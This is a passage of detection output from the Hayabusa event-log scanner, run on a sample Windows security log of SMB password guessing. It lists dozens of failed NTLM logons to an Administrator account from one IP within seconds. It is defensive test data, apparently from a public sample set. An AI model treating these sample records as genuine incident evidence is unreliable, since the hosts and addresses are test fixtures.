NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ua69MEWABQ9hsooT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ubPQWn4nQYr3rXr8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.650 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xrgATdNqkA44nKqf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qKwktiUfTWakNx3I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xVebPFnWhbZKIANs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IyV8stIvfXLJQpsn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uStfvm0y0eZrWONH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OUwTyUXe8NLG7bCS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:11.967 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HQuDp8aZpWDANKMe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GQKTlzx2gq9ayAtJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.061 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tCzVponBvb9mbyIr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.115 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mSwnrFv90KjN2cqj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.161 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QX5TLs2MPkia1cmk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ammLKlG1Q5awQGvN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.235 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SJ1ijJjPJbF4uFlo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mZOLnwIzpGz03Yjh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.320 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xS8U3UQNz6l0LZn0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.361 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: no6cftQ5MF1fjZ0y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5WHS6jVRnCUH0Rb5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i3oGLwrCJXJOauf6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.477 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I1sxPrDYV3rr4pGJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Osysh2O2A3A2bN22 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FsInW9EMJZU8FOrF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.605 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ge8do8TM4GG1atMx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.641 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4w5GLbpVsAhGqCiq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8eQXeW1VpRU0ptMs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NhLosoA2parzTnW9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MCFTP4gVGEKFKuRI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ALrDwJz2cta9fcXB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZZNXGw28osMQLjub : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.882 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4wQzvMnwYuEQRO7V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.917 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UloOAIgGuj6NecfR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.960 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cVSeLo2PRgGmf83Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SaCFO8CPFLuERugV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.042 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QCwV1D4L5BDZSriK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.090 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QPhLQsM4R2ua4SxW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fwgp52JNi7xnTxpN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j2GutBDenjweAluz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.250 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wflcgg5ebqu8hHGL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jXaaYSU2pakw6IsK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BfJnBv3eA8wZttML : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.393 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kOXSI0jPfbvW4dAg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8JW6aX5mNz7cETsl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.478 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NVuJLXJzlVnDLT4Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WtSwhwnApnPI9AkO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.568 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1peOkjbd1WXGEAAM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.616 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Tbw3V9MtLIcxr65R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CEZ2v1f6t0luDj4D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.689 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R0omMppAFlFhE1mG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.734 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0jMvVN9eSeGW3zcN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.782 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HnFNYabbO7IpbVku : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8KtyTTNdqVikZGYY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.864 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DCChjnFv2hMXXwgW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FvIYRZSomaJYJOH5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FEirUFRscaOwTuAg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RwQgMM9H1oN4te9Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JbGILYTcFwtYbDk1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p5KzNsgWvyUhNEHd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.213 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KGvwbOtP3A5eDKCZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.261 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YZvtNNX511hIleST : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.299 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lJBRTeW6OQtNrt5u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hovgq99STVt2GzrO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4kpT3gf0VCAVuVSa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tiB04AvkYp0PP3n1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.479 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PPluKgaiT10oC35V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8nCOM9uUeqv9QBx6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.574 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dSPrrNCh2FSWZKbI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.621 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aLDnCjr4pSdKAMX7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G0UnmfB7lcXKEAvn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.722 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ogjMSxcUw7cF5dMa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 75uB8ejsSV5CbagM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.814 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5MMHLnyrzBQxluHn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.862 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5QXLn6fpmR52RBAz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KcdlrSUzcFNpaK5v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.944 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VJjiRO5rJzZ8XtqP : IP Address: 192.168.198.149 : AuthPackage: 